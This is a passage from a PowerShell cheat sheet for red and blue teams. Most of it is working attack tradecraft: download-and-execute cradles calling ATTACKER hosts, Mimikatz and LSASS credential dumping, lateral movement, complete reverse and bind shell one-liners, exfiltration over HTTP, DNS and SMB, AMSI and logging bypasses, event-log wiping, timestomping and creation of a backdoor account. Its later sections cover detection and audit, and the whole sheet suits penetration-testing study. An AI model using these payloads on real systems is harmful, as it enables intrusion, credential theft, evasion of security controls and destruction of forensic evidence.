Get-ADUser -Filter { Enabled -eq $true } # Active users
Get-ADUser -Filter { PasswordNeverExpires -eq $true } # Pw never expires
Get-ADUser -Filter * -Properties PasswordLastSet, LastLogonDate | Where-Object { $_.LastLogonDate -lt (Get-Date).AddDays(-90) } # Inactive 90 days
New-ADUser -Name "svc-backdoor" `
-SamAccountName "svc-backdoor" `
-AccountPassword (ConvertTo-SecureString "P@ssw0rd!" -AsPlainText -Force) `
-Enabled $true `
-PasswordNeverExpires $true
Set-ADAccountPassword -Identity jsmith `
-NewPassword (ConvertTo-SecureString "NewP@ss!" -AsPlainText -Force) `
-Reset
Enable-ADAccount -Identity jsmith
Disable-ADAccount -Identity jsmith
Unlock-ADAccount -Identity jsmith
# ==========================================
# ACTIVE DIRECTORY GROUPS
# ==========================================
Get-ADGroup -Filter * # All groups
Get-ADGroup "Domain Admins"
Get-ADGroupMember "Domain Admins" # Members
Get-ADGroupMember "Domain Admins" -Recursive # Nested members too!
Add-ADGroupMember -Identity "Domain Admins" -Members jsmith
Remove-ADGroupMember -Identity "Domain Admins" -Members jsmith -Confirm:$false
# Find all groups a user belongs to
Get-ADUser jsmith -Properties MemberOf | Select -ExpandProperty MemberOf
(Get-ADUser jsmith -Properties MemberOf).MemberOf
# ==========================================
# CREDENTIALS
# ==========================================
# Store credentials securely
$cred = Get-Credential # Prompts GUI
$cred = Get-Credential -UserName "corp\admin" -Message "Enter password"
# Build credential object programmatically
$pass = ConvertTo-SecureString "P@ssword" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ("corp\admin", $pass)
# Use credentials
Enter-PSSession -ComputerName DC01 -Credential $cred
Invoke-Command -ComputerName DC01 -Credential $cred -ScriptBlock { whoami }
14. WMI & CIM
# ==========================================
# WMI vs CIM
# ==========================================
# WMI → Old (Get-WmiObject) — DCOM protocol (port 135 + ephemeral)
# CIM → New (Get-CimInstance) — WSMan/WinRM — PREFERRED
# ==========================================
# CIM (MODERN — USE THIS)
# ==========================================
Get-CimInstance -ClassName Win32_OperatingSystem # OS info
Get-CimInstance -ClassName Win32_ComputerSystem # Computer info
Get-CimInstance -ClassName Win32_BIOS # BIOS info
Get-CimInstance -ClassName Win32_Processor # CPU info
Get-CimInstance -ClassName Win32_PhysicalMemory # RAM info
Get-CimInstance -ClassName Win32_LogicalDisk # Disk info
Get-CimInstance -ClassName Win32_NetworkAdapter # Network adapters
Get-CimInstance -ClassName Win32_Service # Services
Get-CimInstance -ClassName Win32_Process # Processes
Get-CimInstance -ClassName Win32_UserAccount # Local users
Get-CimInstance -ClassName Win32_Product # Installed software
Get-CimInstance -ClassName Win32_Share # Network shares
Get-CimInstance -ClassName Win32_StartupCommand # Autorun items
Get-CimInstance -ClassName Win32_LocalTime # System time
# Remote CIM query
Get-CimInstance -ClassName Win32_Process -ComputerName DC01
$session = New-CimSession -ComputerName DC01 -Credential $cred
Get-CimInstance -ClassName Win32_Process -CimSession $session
# Filter WMI queries (server-side filtering = faster!)
Get-CimInstance -Query "SELECT * FROM Win32_Process WHERE Name = 'powershell.exe'"
Get-CimInstance -ClassName Win32_Process -Filter "Name = 'powershell.exe'"
# Invoke CIM method
Invoke-CimMethod -ClassName Win32_Process -MethodName Create `
-Arguments @{ CommandLine = "calc.exe" }
# ==========================================
# WMI (LEGACY — still useful)
# ==========================================
Get-WmiObject -Class Win32_OperatingSystem
Get-WmiObject -Class Win32_Process | Where-Object Name -eq "chrome.exe"
Get-WmiObject -Class Win32_Product # Installed software (SLOW!)
Invoke-WmiMethod -Class Win32_Process -Name Create `
-ArgumentList "calc.exe"
# Remote WMI
Get-WmiObject -Class Win32_Process -ComputerName DC01 -Credential $cred
# ==========================================
# USEFUL CIM QUERIES (RED TEAM)
# ==========================================
# AV products installed
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct
# Firewall status
Get-CimInstance -ClassName MSFT_MpComputerStatus -Namespace root/Microsoft/Windows/Defender
# Installed software (patch status)
Get-CimInstance -ClassName Win32_QuickFixEngineering # Installed patches
# Scheduled tasks
Get-CimInstance -ClassName MSFT_ScheduledTask -Namespace Root/Microsoft/Windows/TaskScheduler
# PowerShell execution via WMI (lateral movement!)
Invoke-WmiMethod -Class Win32_Process -Name Create `
-ArgumentList "powershell.exe -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')" `
-ComputerName TARGET `
-Credential $cred
15. Remoting (WinRM)
# ==========================================
# SETUP WINRM
# ==========================================
# Enable WinRM (run as admin on target)
Enable-PSRemoting -Force
winrm quickconfig
# Check WinRM status
Get-Service WinRM
Test-WSMan DC01 # Test if WinRM accessible on host
# ==========================================
# INTERACTIVE SESSION
# ==========================================
Enter-PSSession -ComputerName DC01
Enter-PSSession -ComputerName DC01 -Credential $cred
Enter-PSSession -ComputerName DC01 -Port 5986 -UseSSL # HTTPS
# Exit session
Exit-PSSession
# ==========================================
# INVOKE-COMMAND (non-interactive, faster)
# ==========================================
# Single command
Invoke-Command -ComputerName DC01 -ScriptBlock { Get-Process }
Invoke-Command -ComputerName DC01 -Credential $cred -ScriptBlock { whoami }
# Multiple computers (parallel!)
Invoke-Command -ComputerName DC01, DC02, FS01 -ScriptBlock { hostname }
# Run script file
Invoke-Command -ComputerName DC01 -FilePath C:\Scripts\Enum.ps1
# Pass variables INTO remote session
$localVar = "hello"
Invoke-Command -ComputerName DC01 -ScriptBlock {
param($v) Write-Host $v
} -ArgumentList $localVar
# Using $using: (PS3+, cleaner syntax)
$localVar = "hello"
Invoke-Command -ComputerName DC01 -ScriptBlock { Write-Host $using:localVar }
# ==========================================
# PERSISTENT SESSIONS
# ==========================================
$session = New-PSSession -ComputerName DC01 -Credential $cred
Invoke-Command -Session $session -ScriptBlock { Get-Process }
Invoke-Command -Session $session -ScriptBlock { $x = 1 } # Persistent state!
Invoke-Command -Session $session -ScriptBlock { $x } # → 1
Remove-PSSession $session
# ==========================================
# FILE TRANSFER VIA REMOTING
# ==========================================
# Copy TO remote
$session = New-PSSession -ComputerName TARGET
Copy-Item -Path C:\Temp\tool.exe -Destination C:\Temp\ -ToSession $session
# Copy FROM remote
Copy-Item -Path C:\Temp\loot.txt -Destination C:\Local\ -FromSession $session
# ==========================================
# INVOKE-COMMAND ONE-LINERS (RED TEAM)
# ==========================================
# Execute on all domain computers!
$computers = (Get-ADComputer -Filter *).Name
Invoke-Command -ComputerName $computers -ScriptBlock { whoami } -ErrorAction SilentlyContinue
# Load tool in memory on remote host
Invoke-Command -ComputerName DC01 -ScriptBlock {
IEX (New-Object Net.WebClient).DownloadString("http://ATTACKER/PowerView.ps1")
Get-DomainAdmin
}
# Hop between systems (double-hop with CredSSP)
Invoke-Command -ComputerName JUMP01 -ScriptBlock {
Invoke-Command -ComputerName DC01 -ScriptBlock { hostname }
} -Authentication CredSSP -Credential $cred
16. Modules & Imports
# ==========================================
# MODULE MANAGEMENT
# ==========================================
Get-Module # Currently loaded modules
Get-Module -ListAvailable # All available modules
Get-Module -ListAvailable | Sort-Object Name
Import-Module ActiveDirectory # Load module
Import-Module ActiveDirectory -Force # Force reload
Remove-Module ActiveDirectory # Unload module
# Find commands in module
Get-Command -Module PowerSploit # All commands in module
# ==========================================
# INSTALLING MODULES (PS Gallery)
# ==========================================
Find-Module PowerSploit # Find module
Install-Module PowerShellGet -Force # Install
Update-Module ActiveDirectory # Update
Uninstall-Module PowerSploit # Remove
# Set trust level
Set-PSRepository -Name PSGallery -InstallationPolicy Trusted
# ==========================================
# DOT SOURCING (load into current scope)
# ==========================================
. .\PowerView.ps1 # Load PowerView into current session
. C:\Tools\SharpHound.ps1 # All functions now available!
# ==========================================
# KEY OFFENSIVE MODULES (RED TEAM)
# ==========================================
# PowerView (AD Enumeration)
Import-Module .\PowerView.ps1
# OR:
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')
# PowerSploit (Collection of offensive PS tools)
Import-Module PowerSploit
# Nishang (PS offensive framework)
Import-Module Nishang
# PowerUpSQL (MSSQL attacks)
Import-Module PowerUpSQL
# ADModule (MS signed AD module — bypasses many AV)
Import-Module C:\Tools\Microsoft.ActiveDirectory.Management.dll
Import-Module C:\Tools\ActiveDirectory\ActiveDirectory.psd1
# Invoke-Mimikatz
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'
# PowerMad (machine account / DNS attacks)
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount "EVIL_PC" -Password (ConvertTo-SecureString "Pass123" -AsPlainText -Force)
# ==========================================
# CREATE YOUR OWN MODULE
# ==========================================
# Save functions in MyModule.psm1:
function Get-Pwned {
param([string]$Target)
Write-Host "Pwning $Target..."
}
# Create manifest:
New-ModuleManifest -Path .\MyModule.psd1 -RootModule MyModule.psm1
# Import:
Import-Module .\MyModule.psd1
Get-Pwned -Target "DC01"
17. Red Team PowerShell
# ==========================================
# IN-MEMORY EXECUTION (NO DISK TOUCH)
# ==========================================
# Download + execute string
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/script.ps1')
# Aliases (for obfuscation)
(New-Object Net.WebClient).DownloadString('http://ATTACKER/script.ps1') | IEX
iex(iwr 'http://ATTACKER/script.ps1' -UseBasicParsing)
&([scriptblock]::Create((New-Object Net.WebClient).DownloadString('http://ATTACKER/script.ps1')))
# Load .NET assembly in memory
$bytes = (New-Object Net.WebClient).DownloadData('http://ATTACKER/tool.exe')
$asm = [System.Reflection.Assembly]::Load($bytes)
$asm.EntryPoint.Invoke($null, @(,[string[]]@("arg1","arg2")))
# ==========================================
# ENUMERATION (PowerView)
# ==========================================
# Domain info
Get-Domain
Get-DomainController
Get-DomainController -Domain corp.local
# Users
Get-DomainUser
Get-DomainUser -Identity jsmith -Properties *
Get-DomainUser -SPN # Kerberoastable users!
Get-DomainUser -PreauthNotRequired # AS-REP Roastable users!
Get-DomainUser -AdminCount 1 # Protected accounts (DA etc)
Get-DomainUser -TrustedToAuth # Constrained delegation!
Find-DomainUserField -SearchField description -SearchTerm "password" # Passwords in descriptions!
# Groups
Get-DomainGroup
Get-DomainGroupMember "Domain Admins" -Recurse
Get-DomainGroupMember "Enterprise Admins"
# Computers
Get-DomainComputer
Get-DomainComputer -OperatingSystem "*Server*"
Get-DomainComputer -Unconstrained # Unconstrained delegation machines!
Get-DomainComputer -TrustedToAuth # Constrained delegation!
# GPO
Get-DomainGPO
Get-DomainGPOLocalGroup # GPOs granting local admin
Find-GPOComputerAdmin -ComputerName TARGET # Who is local admin via GPO?
# ACL
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs
Find-InterestingDomainAcl -ResolveGUIDs # Find interesting ACLs (juicy rights!)
# OU structure
Get-DomainOU
Get-DomainOU | ForEach-Object { Get-DomainComputer -SearchBase $_.distinguishedname }
# Shares
Find-DomainShare -CheckShareAccess # Find accessible shares
Find-InterestingFile -Include "*.txt","*.xml","*.ini","*.ps1" -Path \\DC01\SYSVOL
# Sessions (who is logged where)
Get-NetLoggedon -ComputerName DC01 # Who is logged on to DC
Get-NetSession -ComputerName FS01 # Sessions on file server
Find-DomainUserLocation -UserName Administrator # Where is admin logged in!
# Trust
Get-DomainTrust # Domain trusts
Get-ForestTrust # Forest trusts
# ==========================================
# CREDENTIAL HARVESTING
# ==========================================
# Mimikatz (requires admin/SYSTEM)
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'
Invoke-Mimikatz -Command '"lsadump::sam"'
Invoke-Mimikatz -Command '"lsadump::dcsync /user:krbtgt"'
Invoke-Mimikatz -DumpCreds # Dump all creds
# LSASS dump (no Mimikatz)
$proc = Get-Process lsass
$handle = [Runtime.InteropServices.Marshal]::GetHINSTANCE([System.Reflection.Assembly]::GetExecutingAssembly().GetModules())
# Use comsvcs.dll:
rundll32.exe C:\windows\System32\comsvcs.dll MiniDump $proc.Id C:\Temp\lsass.dmp full
# Credential files
$env:APPDATA + "\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" # PS history!
Get-Content "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
ls C:\Users\ -Force -Recurse | Where-Object { $_.Name -match "password|cred|secret" }
# ==========================================
# LATERAL MOVEMENT
# ==========================================
# WMI exec
Invoke-WmiMethod -Class Win32_Process -Name Create `
-ArgumentList "powershell.exe -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')" `
-ComputerName TARGET
# PS Remoting
Invoke-Command -ComputerName TARGET -Credential $cred -ScriptBlock {
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')
}
# Scheduled task (Invoke-Command style)
Invoke-Command -ComputerName TARGET -ScriptBlock {
schtasks /create /tn "Update" /tr "powershell.exe -c IEX(iwr 'http://ATTACKER/s.ps1')" /sc once /st 00:00 /f
schtasks /run /tn "Update"
}
# ==========================================
# PRIVILEGE ESCALATION (PowerUp)
# ==========================================
Import-Module PowerUp.ps1
Invoke-AllChecks # Run all priv esc checks
Get-UnquotedService # Unquoted service path
Get-ModifiableServiceFile # Writable service binary
Get-ServiceUnquoted # Unquoted paths
Invoke-ServiceAbuse -Name "VulnService" -UserName "corp\jsmith" # Exploit!
Get-RegistryAlwaysInstallElevated # AlwaysInstallElevated
Write-UserAddMSI # Create MSI that adds user as admin
Invoke-EventVwrBypass -Command "net localgroup administrators jsmith /add" # UAC bypass
# ==========================================
# REVERSE SHELLS (Nishang)
# ==========================================
# TCP reverse shell (Nishang)
Invoke-PowerShellTcp -Reverse -IPAddress ATTACKER -Port 4444
# One-liner bind shell:
$listener = [Net.Sockets.TcpListener]4444; $listener.Start();
$client = $listener.AcceptTcpClient(); $stream = $client.GetStream();
[byte[]]$bytes = 0..65535 | % {0};
while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){
$data = (New-Object Text.ASCIIEncoding).GetString($bytes,0,$i);
$sb = (iex $data 2>&1 | Out-String);
$sb2 = $sb + "PS> ";
$sendbyte = ([Text.Encoding]::ASCII.GetBytes($sb2));
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
# One-liner reverse shell:
$client = New-Object System.Net.Sockets.TCPClient("ATTACKER",4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
$data = (New-Object System.Text.ASCIIEncoding).GetString($bytes,0,$i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};
$client.Close()
# ==========================================
# DATA EXFILTRATION
# ==========================================
# HTTP exfil
$data = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes((Get-Content C:\secrets.txt)))
Invoke-WebRequest -Uri "http://ATTACKER/exfil?d=$data" -Method GET
# DNS exfil
$data = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("secret"))
Resolve-DnsName "$data.attacker.com" -Type A
# SMB exfil
Copy-Item C:\Users\Admin\NTDS.dit \\ATTACKER\share\
18. AMSI Bypass
# ==========================================
# WHAT IS AMSI?
# ==========================================
# AMSI = Antimalware Scan Interface
# Hooks into PowerShell, WSH, VBA, .NET
# Every script block sent to AV engine before execution
# → Detects Mimikatz, PowerView, PowerSploit, etc. in memory!
# ==========================================
# AMSI BYPASS METHODS
# ==========================================
# Method 1: Patching amsi.dll (most common)
# Patches AmsiScanBuffer to always return clean
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Method 2: Matt Graeber's one-liner (classic — often sig'd now)
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext",[Reflection.BindingFlags]32).GetValue($null),0x41414141)
# Method 3: String concatenation to evade sig (obfuscate the bypass itself!)
$a = 'System.Management.Automation.A';$b = 'msiUtils'
$c = [Ref].Assembly.GetType($a+$b)
$d = $c.GetField('amsiInitFailed','NonPublic,Static')
$d.SetValue($null,$true)
# Method 4: Forcing error
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null, $null)
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, [IntPtr]$mem)
# Method 5: PowerShell downgrade (PS 2.0 has no AMSI!)
powershell.exe -Version 2 -Command "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/script.ps1')"
# Check if v2 available:
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root
# Method 6: Obfuscation (Invoke-Obfuscation)
Import-Module Invoke-Obfuscation.ps1
Invoke-Obfuscation
# ==========================================
# SCRIPT BLOCK LOGGING BYPASS
# ==========================================
# Disable Script Block Logging via registry (requires admin)
Remove-Item HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Force -ErrorAction SilentlyContinue
# Force minimal logging in session
$settings = [Ref].Assembly.GetType("System.Management.Automation.Utils").GetField("cachedGroupPolicySettings","NonPublic,Static").GetValue($null)
$settings["HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"] = @{}
$settings["HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"].Add("EnableScriptBlockLogging", 0)
19. Defense Evasion
# ==========================================
# OPSEC BASICS
# ==========================================
# Disable PS history (always do this first!)
Set-PSReadLineOption -HistorySaveStyle SaveNothing
Remove-Item (Get-PSReadlineOption).HistorySavePath -Force -ErrorAction SilentlyContinue
# Use -WindowStyle Hidden for processes
Start-Process powershell.exe -WindowStyle Hidden -ArgumentList "-c IEX(...)"
# Avoid Write-Host (goes to console and logs)
# Use Write-Verbose or just suppress output
# ==========================================
# OBFUSCATION BASICS
# ==========================================
# Case variation (PS is case-insensitive)
gEt-pRoCeSs
# Backtick insertion (breaks string matching)
G`et-Pr`ocess
Invoke`-Expression
# String concatenation
$cmd = "Get" + "-" + "Process"; Invoke-Expression $cmd
# Base64 encoding
$cmd = "Get-Process"
$enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
powershell.exe -EncodedCommand $enc
# Alternate cmdlet forms
gps # Get-Process
gsv # Get-Service
iex # Invoke-Expression
iwr # Invoke-WebRequest
# .NET directly (avoids cmdlet logging)
[System.Diagnostics.Process]::GetProcesses()
[System.Net.WebClient]::new().DownloadString("http://ATTACKER/s.ps1")
# ==========================================
# LIVING OFF THE LAND
# ==========================================
# Use built-in Windows tools (no downloads needed!)
# WMI for execution
# Scheduled tasks for persistence
# certutil.exe for download + decode:
certutil.exe -urlcache -f http://ATTACKER/file.b64 file.b64
certutil.exe -decode file.b64 file.exe
# bitsadmin for download
bitsadmin /transfer job /download /priority normal http://ATTACKER/tool.exe C:\Temp\tool.exe
# regsvr32 for execution
regsvr32 /s /n /u /i:http://ATTACKER/payload.sct scrobj.dll
# mshta for execution
mshta.exe http://ATTACKER/payload.hta
# ==========================================
# COVER YOUR TRACKS
# ==========================================
# Clear event logs
wevtutil cl Security
wevtutil cl System
wevtutil cl Application
wevtutil cl "Windows PowerShell"
wevtutil cl "Microsoft-Windows-PowerShell/Operational"
# Clear PS history
Clear-History
Remove-Item "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" -Force
# Timestomp files
$file = Get-Item "C:\Temp\tool.exe"
$file.CreationTime = "2023-01-01 08:00:00"
$file.LastWriteTime = "2023-01-01 08:00:00"
$file.LastAccessTime = "2023-01-01 08:00:00"
# Remove ADS (Alternate Data Streams — unblock downloaded files)
Get-Item "C:\Temp\tool.exe" -Stream * | Remove-Item
# Secure delete (overwrite then delete)
$file = "C:\Temp\sensitive.txt"
$bytes = [System.IO.File]::ReadAllBytes($file)
for ($i = 0; $i -lt $bytes.Length; $i++) { $bytes[$i] = 0x00 }
[System.IO.File]::WriteAllBytes($file, $bytes)
Remove-Item $file -Force
20. Logging & Detection
# ==========================================
# POWERSHELL LOGGING TYPES
# ==========================================
# 1. Script Block Logging → logs EVERY script block executed
# Event ID 4104 (Microsoft-Windows-PowerShell/Operational)
# → Captures deobfuscated code (most important!)
# 2. Module Logging → logs all module activity
# Event IDs 4103
# 3. Transcription → saves full console I/O to text file
# Great for audit trails
# 4. Protected Event Logging → encrypts log content (PS7+)
# ==========================================
# ENABLE LOGGING (Blue Team)
# ==========================================
# Via GPO (preferred):
# Computer Config → Admin Templates → Windows Components → PowerShell:
# Turn on Script Block Logging → Enabled
# Turn on Module Logging → Enabled (with *)
# Turn on PowerShell Transcription → Enabled
# Via Registry:
$logPath = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell"
# Script Block Logging
New-Item "$logPath\ScriptBlockLogging" -Force
Set-ItemProperty "$logPath\ScriptBlockLogging" "EnableScriptBlockLogging" 1
Set-ItemProperty "$logPath\ScriptBlockLogging" "EnableScriptBlockInvocationLogging" 1
# Module Logging
New-Item "$logPath\ModuleLogging" -Force
Set-ItemProperty "$logPath\ModuleLogging" "EnableModuleLogging" 1
# Transcription
New-Item "$logPath\Transcription" -Force
Set-ItemProperty "$logPath\Transcription" "EnableTranscripting" 1
Set-ItemProperty "$logPath\Transcription" "OutputDirectory" "C:\PSLogs\"
# ==========================================
# READING POWERSHELL LOGS
# ==========================================
# Get all Script Block logs
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" |
Where-Object Id -eq 4104 |
Select-Object TimeCreated, Message
# Search for suspicious keywords in logs
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" |
Where-Object { $_.Id -eq 4104 -and $_.Message -match "IEX|Invoke-Expression|DownloadString|bypass|mimikatz" }
# Get all PS history across all users
Get-ChildItem "C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" -Force |
ForEach-Object { Write-Host "=== $($_.FullName) ==="; Get-Content $_ }
# ==========================================
# EVENT LOG QUERIES (Security Events)
# ==========================================
# Failed logons
Get-WinEvent -LogName Security | Where-Object Id -eq 4625 | Select -First 20
# Successful logons
Get-WinEvent -LogName Security | Where-Object Id -eq 4624
# New user created
Get-WinEvent -LogName Security | Where-Object Id -eq 4720
# User added to group
Get-WinEvent -LogName Security | Where-Object Id -eq 4728
# Kerberoasting indicator
Get-WinEvent -LogName Security | Where-Object {
$_.Id -eq 4769 -and $_.Message -match "Ticket Encryption Type.*0x17"
} | Select TimeCreated, Message
# DCSync (replication from non-DC)
Get-WinEvent -LogName Security | Where-Object {
$_.Id -eq 4662 -and $_.Message -match "1131f6a"
} | Select TimeCreated, Message
# New service installed
Get-WinEvent -LogName System | Where-Object Id -eq 7045
# Scheduled task created
Get-WinEvent -LogName Security | Where-Object Id -eq 4698
21. Blue Team PowerShell
# ==========================================
# SYSTEM AUDIT COMMANDS
# ==========================================
# Find all listening ports + owning process
Get-NetTCPConnection -State Listen |
Select LocalPort, @{N="PID";E={$_.OwningProcess}},
@{N="Process";E={(Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue).Name}} |
Sort LocalPort
# Find all running services with non-standard paths
Get-WmiObject Win32_Service |
Where-Object { $_.State -eq "Running" -and $_.PathName -notmatch "system32|SysWOW64|Program Files" } |
Select Name, PathName, StartName
# Find recently modified files
Get-ChildItem C:\Windows -Recurse -ErrorAction SilentlyContinue |
Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-1) } |
Select FullName, LastWriteTime
# Find world-writable directories
Get-ChildItem C:\ -Recurse -Directory -ErrorAction SilentlyContinue |
ForEach-Object {
$acl = Get-Acl $_.FullName -ErrorAction SilentlyContinue
if ($acl.Access | Where-Object { $_.IdentityReference -match "Everyone|Users" -and $_.FileSystemRights -match "Write" }) {
$_.FullName
}
}
# WMI persistence check
Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding
Get-WMIObject -Namespace root\subscription -Class __EventFilter
Get-WMIObject -Namespace root\subscription -Class CommandLineEventConsumer
# Autoruns check (registry run keys)
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
Get-ItemProperty "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\*" -ErrorAction SilentlyContinue | Where-Object Debugger
# Scheduled tasks audit
Get-ScheduledTask | Where-Object { $_.State -ne "Disabled" } |
Select TaskName, TaskPath,
@{N="Action";E={$_.Actions.Execute}},
@{N="RunAs";E={$_.Principal.UserId}} |
Where-Object { $_.Action -notmatch "system32|SysWOW64|MpCmdRun" }
# Find accounts with password never expires
Get-LocalUser | Where-Object PasswordNeverExpires | Select Name, Enabled, LastLogon
Get-ADUser -Filter { PasswordNeverExpires -eq $true } -Properties PasswordNeverExpires |
Select Name, SamAccountName, Enabled
# Find accounts that haven't logged in for 90 days (stale/backdoor accounts)
Get-ADUser -Filter { Enabled -eq $true } -Properties LastLogonDate |
Where-Object { $_.LastLogonDate -lt (Get-Date).AddDays(-90) -or $_.LastLogonDate -eq $null } |
Select Name, SamAccountName, LastLogonDate
# ==========================================
# ACTIVE DIRECTORY HEALTH CHECKS
# ==========================================
# Check DA group members (who shouldn't be there?)
Get-ADGroupMember "Domain Admins" -Recursive | Select Name, SamAccountName, ObjectClass
# Check SID History on all users (should be empty post-migration)
Get-ADUser -Filter * -Properties SIDHistory |
Where-Object { $_.SIDHistory -ne $null -and $_.SIDHistory.Count -gt 0 } |
Select Name, SamAccountName, SIDHistory
# Check shadow credentials (msDS-KeyCredentialLink)
Get-ADUser -Filter * -Properties "msDS-KeyCredentialLink" |
Where-Object { $_."msDS-KeyCredentialLink" } |
Select Name, SamAccountName
Get-ADComputer -Filter * -Properties "msDS-KeyCredentialLink" |
Where-Object { $_."msDS-KeyCredentialLink" } |
Select Name
# Check accounts with DCSync rights
$domainDN = (Get-ADDomain).DistinguishedName
(Get-ACL "AD:\$domainDN").Access |
Where-Object {
$_.ObjectType -eq "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" -or
$_.ObjectType -eq "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"
} |
Select IdentityReference, ActiveDirectoryRights, ObjectType
# Check AdminSDHolder ACL for unexpected entries
(Get-ACL "AD:\CN=AdminSDHolder,CN=System,$domainDN").Access |
Where-Object {
$_.IdentityReference -notmatch "Enterprise Admins|Domain Admins|SYSTEM|Administrators"
} |
Select IdentityReference, ActiveDirectoryRights
# Check DSRM backdoor registry key
Invoke-Command -ComputerName (Get-ADDomainController -Filter *).Name -ScriptBlock {
Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DsrmAdminLogonBehavior -ErrorAction SilentlyContinue
}
# Check unconstrained delegation (attack vector!)
Get-ADComputer -Filter { TrustedForDelegation -eq $true } -Properties TrustedForDelegation |
Select Name, DNSHostName
Get-ADUser -Filter { TrustedForDelegation -eq $true } -Properties TrustedForDelegation |
Select Name, SamAccountName
# Check Kerberoastable accounts (SPN set on user accounts)
Get-ADUser -Filter { ServicePrincipalName -ne "$null" } -Properties ServicePrincipalName |
Select Name, SamAccountName, ServicePrincipalName
# Check AS-REP Roastable accounts (pre-auth not required)
Get-ADUser -Filter { DoesNotRequirePreAuth -eq $true } -Properties DoesNotRequirePreAuth |
Select Name, SamAccountName
# Check password policy (is it strong enough?)
Get-ADDefaultDomainPasswordPolicy
Get-ADFineGrainedPasswordPolicy -Filter *
# ==========================================
# NETWORK MONITORING
# ==========================================
# Active connections with process names
Get-NetTCPConnection -State Established |
Select LocalAddress, LocalPort, RemoteAddress, RemotePort,
@{N="Process";E={(Get-Process -Id $_.OwningProcess -EA SilentlyContinue).Name}},
@{N="PID";E={$_.OwningProcess}} |
Sort RemoteAddress
# DNS cache (see what hosts resolved recently)
Get-DnsClientCache | Select Entry, RecordName, Data, TimeToLive | Sort Entry
# ARP table (recent network neighbors)
Get-NetNeighbor | Select IPAddress, LinkLayerAddress, State | Where State -ne "Unreachable"
# Firewall rules audit (find permissive rules)
Get-NetFirewallRule | Where-Object { $_.Enabled -eq "True" -and $_.Direction -eq "Inbound" -and $_.Action -eq "Allow" } |
Select DisplayName, Profile, Direction, Action |
Sort DisplayName
# SMB shares (what is shared?)
Get-SmbShare
Get-SmbShare | Where-Object { $_.Name -notmatch "ADMIN\$|C\$|IPC\$|NETLOGON|SYSVOL" }
# SMB sessions (who is connected?)
Get-SmbSession
Get-SmbOpenFile
# ==========================================
# DEFENDER & AV STATUS
# ==========================================
# Windows Defender status
Get-MpComputerStatus | Select AMRunningMode, AntivirusEnabled, RealTimeProtectionEnabled, AMProductVersion, AntivirusSignatureLastUpdated
# Recent threats detected
Get-MpThreatDetection | Select ActionSuccess, InitialDetectionTime, ThreatName, Resources
# Exclusions (check for attacker-added exclusions!)
Get-MpPreference | Select ExclusionPath, ExclusionProcess, ExclusionExtension
# ==========================================
# INCIDENT RESPONSE TRIAGE
# ==========================================
# Full triage one-liner (collect everything fast)
